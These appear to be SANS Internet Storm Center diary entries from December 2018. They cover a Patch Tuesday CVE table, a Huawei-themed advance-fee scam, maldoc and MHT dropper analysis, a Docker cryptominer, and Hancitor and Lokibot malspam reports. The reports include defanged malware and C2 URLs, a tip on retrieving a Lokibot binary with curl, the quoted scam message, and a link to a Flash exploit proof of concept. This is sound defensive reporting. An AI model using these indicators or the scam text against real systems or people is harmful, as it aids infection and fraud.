Internet Explorer Remote Code Execution Vulnerability
%%cve:2018-8619%%	No	No	More Likely	More Likely	Important	6.4	5.8
Microsoft Dynamics NAV Cross Site Scripting Vulnerability
%%cve:2018-8651%%	No	No	Less Likely	Less Likely	Important
Microsoft Excel Information Disclosure Vulnerability
%%cve:2018-8598%%	No	No	Less Likely	Less Likely	Important
%%cve:2018-8627%%	No	No	Less Likely	Less Likely	Important
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2018-8597%%	No	No	More Likely	More Likely	Important
%%cve:2018-8636%%	No	No	Less Likely	Less Likely	Important
Microsoft Exchange Server Tampering Vulnerability
%%cve:2018-8604%%	No	No	Less Likely	Less Likely	Important
Microsoft Outlook Remote Code Execution Vulnerability
%%cve:2018-8587%%	No	No	More Likely	More Likely	Important
Microsoft PowerPoint Remote Code Execution Vulnerability
%%cve:2018-8628%%	No	No	More Likely	More Likely	Important
Microsoft SharePoint Information Disclosure Vulnerability
%%cve:2018-8580%%	No	No	Unlikely	Unlikely	Important
Microsoft SharePoint Server Elevation of Privilege Vulnerability
%%cve:2018-8635%%	No	No	Unlikely	Unlikely	Important
Microsoft Text-To-Speech Remote Code Execution Vulnerability
%%cve:2018-8634%%	No	No	More Likely	More Likely	Critical	4.2	3.8
Remote Procedure Call runtime Information Disclosure Vulnerability
%%cve:2018-8514%%	No	No	Less Likely	Less Likely	Important	3.3	3.3
Scripting Engine Memory Corruption Vulnerability
%%cve:2018-8643%%	No	No	More Likely	More Likely	Important	6.4	5.8
Win32k Elevation of Privilege Vulnerability
%%cve:2018-8639%%	No	No	More Likely	More Likely	Important	7.0	6.3
%%cve:2018-8641%%	No	No	More Likely	More Likely	Important	7.0	6.3
Win32k Information Disclosure Vulnerability
%%cve:2018-8637%%	No	No	More Likely	More Likely	Important	4.7	4.2
Windows Azure Pack Cross Site Scripting Vulnerability
%%cve:2018-8652%%	No	No	-	-	Important
Windows DNS Server Heap Overflow Vulnerability
%%cve:2018-8626%%	No	No	Less Likely	Less Likely	Critical	9.8	8.8
Windows Denial of Service Vulnerability
%%cve:2018-8649%%	No	No	-	-	Important	5.0	4.5
Windows GDI Information Disclosure Vulnerability
%%cve:2018-8595%%	No	No	More Likely	More Likely	Important	4.7	4.2
%%cve:2018-8596%%	No	No	More Likely	More Likely	Important	4.7	4.2
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2018-8611%%	No	Yes	Detected	More Likely	Important	7.0	7.0
Windows Kernel Information Disclosure Vulnerability
%%cve:2018-8477%%	No	No	More Likely	More Likely	Important	3.3	3.3
%%cve:2018-8621%%	No	No	-	-	Important	4.7	4.1
%%cve:2018-8622%%	No	No	-	-	Important	4.7	4.1
Windows VBScript Engine Remote Code Execution Vulnerability
%%cve:2018-8625%%	No	No	More Likely	More Likely	Important	6.4	5.8

 

For a detailed breakdown please see Renato's Dashboard: 

https://patchtuesdaydashboard.com/

Last week, the arrest of MENG Wanzou made big waves in the news. Ms. Meng was arrested in Canada based on an arrest warrant issued for the United States Department of justice. Ms. Meng, as CFO of Huawei and possible heir to her father, the CEO of Huawei, is assumed to have access to substantial wealth. This led to a wave of advanced fee scams levering this news. 

Advance fee scams have probably been most commonly associated with "Nigerian Prince" scams. The trick is to promise substantial wealth in exchange for a relatively small advanced fee.

In this case, the message sent via WeChat suggested that a corrupt Canadian guard would let Ms. Meng escape for a few thousand dollars. The recipient of the message is asked to transfer the money to the guard's account, and promised a large amount of money once Ms. Meng is released:

Translation: "Hello, I am MENG Wanzou. Currently, I have been detained by Canadian customs. I have limited use of my phone. Right now CIA is trying to get me into the hands of the US government. I bribed the guard of my room, and urgently need US$2000 to get out of here. Once I am out, I will reward you 200,000 shares of Huawei.  I will be good on my word. if you are single, we can also discuss the important thing in life. The guard’s name is David, the account number is 52836153836252, swift 55789034. I will be good on my word"

Of course, it is questionable how successful a crude attempt like this will be. But sadly, experience tells us that there are still people falling for the old "Nigerian scam". By targeting Chinese individuals via WeChat, the scam may have a higher success rate than more widely distributed scams.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

String analysis: extracting and analyzing strings from binary files (like executables) to assist with reverse engineering.

It's a simple method, but still useful, if you don't have to spend hours sifting through all strings produced by the string tool. I have a tip to quickly find "interesting" strings: sort the output of the strings tool by string length. Start with the shortest strings, and end with the longest strings.

Take for example the analysis of a malicious document, that involved many steps and requires good knowledge of different file formats.

Just by extracting the strings of this document and sorting them by length, you immediately find the powershell command:

I developed my own strings.py tool, and option -L sorts strings by increasing lenght.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Reader Jason submitted a ZIP file received via email. It contains an MHT file, an when Jason received it, it had 0 detections on VirusTotal.

When an analyst receives an unknown file with 0 detections on VirusTotal, the analyst will often try to determine of the file is malicious or not via other means than anti-virus.

For MHT files, Xavier has already explained how they can be malicious in this diary entry.

I take a look at the ZIP file with my zipdump utility:

The extension .mht indicates that it is an MHT file. I use option -e to get more information on the content of the file (together with option -S , to use a comma as separator):

It's a small file (201 bytes decompressed), and it contains ASCII text: 27 whitespace characters and 174 printable ASCII characters (no NULL bytes, no control characters and no non-ASCII bytes).

An ASCII dump (option -a) confirms it's text:

And thus I can safely extract the content to my console:

As Xavier explained in his diary entry on MHT files, this MHT file, when opened, will download and open a JAR file (provided Java is installed).

Files that purport to be documents, but actually download and execute programs, are clearly malicious. I often see that very small files like this MHT file, have 0 detections on VirusTotal when they are submitted right at the beginning of the malware campaign. It's only later, when AV definitions get updated, that the detection rate on VirusTotal increases.

When I performed the initial analysis, the JAR file was no longer available.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Last few days we're seeing increased attacks from %%ip:192.99.142.246%%, which is trying to exploit open Docker instances (%%port:2375%%). The container (being named java123) is based on image ahtihhebs/picture124, and executed with payload:

 

This docker hub account shows multiple images, of which a few (according to the numbers at Docker Hub) are pulled +100K times. As you can see also the picture124 image has more than 100K+ pulls.

I'm using Dive to explore the malicious Docker image. This tool will show details for each individual Docker layers, like the digest, command and the actual files changed.

Based on the Alpine image, it will add a user first:

 

And install git and build tools, git clone xmrig and build it from source. 

 

Next it will execute with the following variables:

 

The key 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg is a Monero address, which relates to the Sustes Malware as can be found here. It will connect to mining pools %%ip:192.99.142.249%%, %%ip:202.144.193.147%% and %%ip:202.144.193.110%%. Donate level 1 means it will donate all cpu power.

Remco Verhoef (@remco_verhoef)
ISC Handler – Founder of DutchSec
PGP Key

If you haven't uninstalled Flash yet, maybe today should be that day.  The update posted yesterday has a remote code exec proof-of-concept already here:
https://github.com/smgorelik/Windows-RCE-exploits/blob/master/Documents/Office%2BFlash/CVE-2018-15982_%23PoC%23.zip

And Gigamon has posted that it's being seen in the wild already:
https://atr-blog.gigamon.com/2018/12/05/adobe-flash-zero-day-exploited-in-the-wild/

 

===============
Rob VandenBrink
Compugen

Update:

Hancitor malspam was active today on 2018-12-05, and it went back to the older style of macros.  Today showed 6.exe and 6.pif in the infected user's AppData\Local\Temp directory instead of werd.exe and wird.exe in the user's AppData\Roaming directory as shown in this diary.  Files for today's infection with the older macros can be found here.  My thanks, as always, to everyone who keeps an eye on Hancitor activity and reports about it on Twitter.

Introduction

Today's diary reviews trends in recent malicious spam (malspam) pushing Hancitor.

Background:  Malspam pushing Hancitor (also known as Chanitor or Tordal) is a long-running campaign.  In recent months, we've often seen waves of Hancitor malspam 2 or 3 times each week.  Infections from this malspam tend to follow predictable patterns, and have ended with Ursnif as the follow-up malware since the end of October 2018 (previously it had been Zeus Panda Banker).

Recent activity:  After a wave of malspam on 2018-10-29, this campaign went silent, and we saw no new Hancitor malspam for one month.  Last week on Thursday 2018-11-29, Hancitor malspam returned with changes to the macro code in the associated Word documents.  Hancitor is still sending Ursnif as its follow-up malware.

Today's diary reviews an infection from Hancitor malspam seen on Tuesday 2018-12-04.

Shown above:  Flow chart for the Hancitor infection on Tuesday 2018-12-04.

The malspam

Shown above:  Screen shot from an email in this malspam wave.

The email template for Tuesday's malspam was eFax-themed, which is something we've occasionally see from this campaign.  No big surprises here.  And the link to download a Word document follows the same pattern of ASCII characters at the end, where all characters after the = sign are an encoded string that represents the recipient's email address.  I'm still not sure how to decode these strings.

Below is an example of the email headers from one of the messages on Tuesday:

Received: from lenoxia.com ([169.203.179.39]) by [removed] for [removed];
        Tue, 04 Dec 2018 15:38:56 +0000 (UTC)
Date: Tue, 04 Dec 2018 08:40:58 -0700
MIME-Version: 1.0
X-Mailer: iPad Mail (11D169b)
Content-Transfer-Encoding: 7bit
Subject: This is an automatic eFax Notification
Message-ID: <1563DCE3.5F979EAC@lenoxia.com>
From: "eFax, Inc." <efax@lenoxia.com>
Content-Type: text/html;
    charset="utf-8"
TO: [removed]
Reply-To: "eFax" <efax@lenoxia.com>

 

At first glance, the downloaded Word document looks similar to those seen in previous waves of Hancitor malspam.  Victims must enable macros to infect a vulnerable Windows host.  However, the macros act noticeably different than before (more on that later).

Shown above:  Downloading a Word document from a link in the malspam.

Infection traffic

Infection traffic follows the same patterns we've previously seen for Hancitor, except wotj additional infection traffic for Ursnif instead of Zeus Panda Banker.  In this case, I also saw Tor traffic, which might be related to the Ursnif activity.  An HTTP request to amalu[.]at returned an encoded binary about 2.2 MB in size, which matched a malware binary I found on the infected Windows host for Send Safe Enterprise (SSE) spambot malware.  I also saw the UDP beaconing traffic associated with SSE spambot malware.

Shown above:  The initial infection traffic filtered in Wireshark, showing Hancitor and Ursnif traffic.

Shown above:  Later in the infection, we find Tor traffic.

Shown above:  Infected host retrieves SSE spambot executable (encoded when sent over the network).

Shown above:  UDP beaconing traffic caused by SSE spambot malware.

Forensics on the infected host

Unlike previous Hancitor Word docs, ever since Hancitor reappeared on 2018-11-29, the Word documents are noticeably larger, and they contain ASCII-based hex code that is decoded as two executable files dropped after enabling macros.  These two executables are named werd.exe and wird.exe, and they're dropped to the user's AppData\Roaming directory.  A folder also appeared in the AppData\Roaming directory with links copied from the desktop of my infected Windows host.  I also saw folders named msohtmlclip and msohtmlclip1 that were created in the user's AppData\Local\Temp directory.

Ursnif was made persistent through about 14MB of ASCII code stored as Windows registry entries.  This is normal for Ursnif infections, and I've exported a copy of these registry entries so people can review them.  See the link at the end of this dairy to access the data.

Finally, SSE spambot malware was stored in the user's AppData\Local\Temp directory using random digits in the filename.

Shown above:  werd.exe and word.exe dropped to the user's AppData\Local\Temp directory.

Shown above:  More artifacts from the infected Windows host.

Shown above:  Windows registry entries created by Ursnif on the infected Windows host.

Indicators

The following are indicators from an infected Windows host.  Any malicious URLs, IP addresses, and domain names have been "de-fanged" to avoid any issues when viewing today's diary.

URL from the malspam text to download the initial Word document:

• 47.89.18[.]253 port 80 - your365realestateoffice[.]com - GET /?[string of characters]=[string of characters representing recipient's email address]

Hancitor infection traffic after enabling Word macros:

• port 80 - api.ipify.org - GET /  (IP address check by the infected host, not inherently malicious)
• 191.101.20[.]16 port 80 - ninglarenlac[.]com - POST /4/forum.php
• 191.101.20[.]16 port 80 - ninglarenlac[.]com - POST /mlu/forum.php
• 191.101.20[.]16 port 80 - ninglarenlac[.]com - POST /d2/about.php
• 131.72.236[.]103 port 80 - todoemergencias[.]cl - GET /wp-includes/1
• 131.72.236[.]103 port 80 - todoemergencias[.]cl - GET /wp-includes/2
• 131.72.236[.]103 port 80 - todoemergencias[.]cl - GET /wp-includes/3

Ursnif infection traffic:

• 47.52.45[.]178 port 80 - api2.doter[.]at - GET /webstore/[long string]
• 47.52.45[.]178 port 80 - 47.52.45[.]178 - GET /favicon.ico
• 47.52.45[.]178 port 80 - beetfeetlife[.]bit - GET /webstore/[long string]
• 47.52.45[.]178 port 80 - beetfeetlife[.]bit - GET /jvassets/o1/s64.dat

Tor traffic seen after the initial Hancitor and Ursnif activity:

• various IP addresses over mostly port 80 - GET /tor/status-vote/current/consensus
• various IP addresses over mostly port 80 - GET /tor/server/fp/[long hex string]
• various IP addresses over port 443 - SSL/TLS traffic

Infected host retrieves SSE spambot malware:

• 46.163.119[.]217 port 80 - amalu[.]at - GET /wp-admin/includes/36s

UDP beacon caused by SSE spambot malware:

• 31.44.184[.]36 port 50012

Malware from an infected Windows host:

SHA256 hash:  eebc056d535f2b1278df043eee776595b6526e47a6cffdc67641c165b1f5e973

• File size:  458,240 bytes
• File description:  Word doc downloaded form email link, doc has macro for Hancitor
• File name:  invoice_530486.doc   (random digits in the file name)

SHA256 hash:  ad783ca9c2bd4c9905b131d170c1dce5bad9de8b8c2d4607a8cd051021284df0

• File size:  114,690 bytes
• File description:  Hancitor malware binary dropped by Word macro
• File location:  C:\Users\[username]\AppData\Roaming\werd.exe

SHA256 hash:  a1a0cb7e5a7239b7aa69f2d052464c201bd5082d9a8b2aac6997fda5de9a7228

• File size:  52,226 bytes
• File description:  Hancitor-related executable dropped by Word macro
• File location:  C:\Users\[username]\AppData\Roaming\wird.exe

SHA256 hash:  9350609c8c806a9c1a667fd53926ea85745e1da239df7f3c2aad3e3527bd48d1

• File size:  249,544 bytes
• File description:  Ursnif executable retrieved by Hancitor-infected host
• File location:  C:\Users\[username]\AppData\Local\Temp\BNA4D6.tmp   (random characters in the file name)

SHA256 hash:  86ca2f22dd4c99b57bb9d272cd5dd91978e15853efa0c05ede8c80694a8d27a6

• File size:  2,163,976 bytes
• File description:  Send Safe Enterprise (SSE) spambot malware
• File location:  C:\Users\[username]\AppData\Local\Temp\1907751.exe   (random digits in the file name)

Final words

3 email examples, a pcap of the infection traffic, and malware/artifacts associated with today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Introduction

I've frequently seen malicious spam pushing Lokibot (also spelled "Loki-Bot") since 2017.  This year, I've written diaries about it in February 2018 and June 2018.  I most recently posted an example to my blog on 2018-11-26.  This type of malicious spam shows no signs of stopping, so here's a quick diary covering an example from Monday 2018-12-03.

The email

Templates for malicious spam pushing Lokibot vary, and the example from Monday 2018-12-03 was disguised as a purchase quotation.  The email contained an Excel spreadsheet with a macro designed to infect vulnerable Windows hosts with Lokibot malware.  Potential victims need to click through warnings, so this is not an especially stealthy method of infection.

Shown above:  Screenshot of the email with an attached Excel spreadsheet.

Infection traffic

A macro from the Excel spreadsheet retrieved Lokibot malware using HTTPS from a URL at a.doko[.]moe.  I used Fiddler to monitor the HTTPS traffic and determine the URL.  The HTTPS request to a.doko[.]moe had no User-Agent string.  If you use curl to retrieve the binary, you must use the -H option to exclude the User-Agent line from your HTTPS request.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  Using curl to retrieve the Lokibot malware binary from a.doko[.]moe.

Shown above:  Post-infection traffic from the Lokibot-infected Windows host.

Forensics on the infected host

The infected Windows host made Lokibot persistent through a Windows registry update.  This registry update was quite similar to previous Lokibot infections I've generated in my lab environment.  In this example, the infected host also had a VBS file in the Windows menu Startup folder.  This pointed to another copy of the Lokibot malware executable; however, that executable had deleted itself during the infection.  The only existing Lokibot executable was in the directory path listed in the associated Windows registry entry.

Shown above:  Windows registry update to keep Lokibot persistent.

Shown above:  VBS file in the Startup menu folder specifying a location where the malware had deleted itself.

Indicators

The following are indicators from an infected Windows host.  Any URLs, IP addresses, and domain names have been "de-fanged" to avoid any issues when viewing today's diary.

Traffic from an infected windows host:

• 185.83.215[.]3 port 443 - a.doko[.]moe - GET /tkencn.jpg   (encrypted HTTPS traffic)
• 199.192.27[.]109 port 80 - decvit[.]ga - POST /and/cat.php

Malware from an infected windows host:

SHA256 hash:  58cea3c44da13386b5acfe0e11cf8362a366e7b91bf9fc1aad7061f68223c5a8

• File size:  853,504 bytes
• File name:  62509871.xls
• File description:  Attached Excel spreadsheet with macro to retrieve Lokibot

SHA256 hash:  b8b6ee5387befd762ecce0e146bd0a6465239fa0785869f05fa58bdd25335d3e

• File size:  853,504 bytes
• File location:  hxxps://a.doko[.]moe/tkencn.jpg
• File location:  C:\Users\[username]\AppData\Roaming\44631D\D1B132.exe
• File location:  C:\Users\[username]\AppData\Roaming\sticik\stickiy.exe   (deleted itself during the infection)
• File description:  Lokibot malware binary

Final words

Email, pcap, and malware for the infection can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

Reader Mike submitted a malicious Word document. The document (MD5 6c975352821d2532d8387f19457b584e) contains obfuscated VBA code that launches a shell command. That shell command is hidden somewhere in the document (not in the VBA code).

In this diary entry, I want to illustrate a method to do the analysis of maldocs of this type.

First of all, with oledump.py, detecting the presence of VBA macros (stream 8, indicator M) inside a Word document that was delivered via email, is a very strong indicator that the document is malicious:

The presence of an AutoOpen subroutine is more evidence that this is malicious:

One method to quickly focus on relevant code in obfuscated VBA code, is "grepping for dots". I documented this method in diary entry "Malware analysis: searching for dots".

This reveals a shell statement that takes its command from a property of an object inside the Word document (ActiveDocument is a VBA object that represents the open Word document).

What we need to find, is the AlternativeText of a shape with name j9tmrnmi.

We can do this by using an ad-hoc YARA rule with oledump that searches for string j9tmrnmi (ASCII and UNICODE, not case sensitive) in the streams of the document:

Stream 4 contains this string, hence it's very probable that the AlternativeText (e.g. the malicious command) is also inside this stream. With oledump's option -S, we can extract all strings inside stream 4:

Directly after string j9tmrnmi, we find a PowerShell command with a BASE64 encoded command. My tool base64dump can help with decoding the command:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Wireshark version 2.6.5 is available: release notes.

And I'm taking this opportunity to feature one of the tools that come with the installation of Wireshark: capinfos.

capinfos is a simple but useful tool, it takes capture files as input and displays information about the input files:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com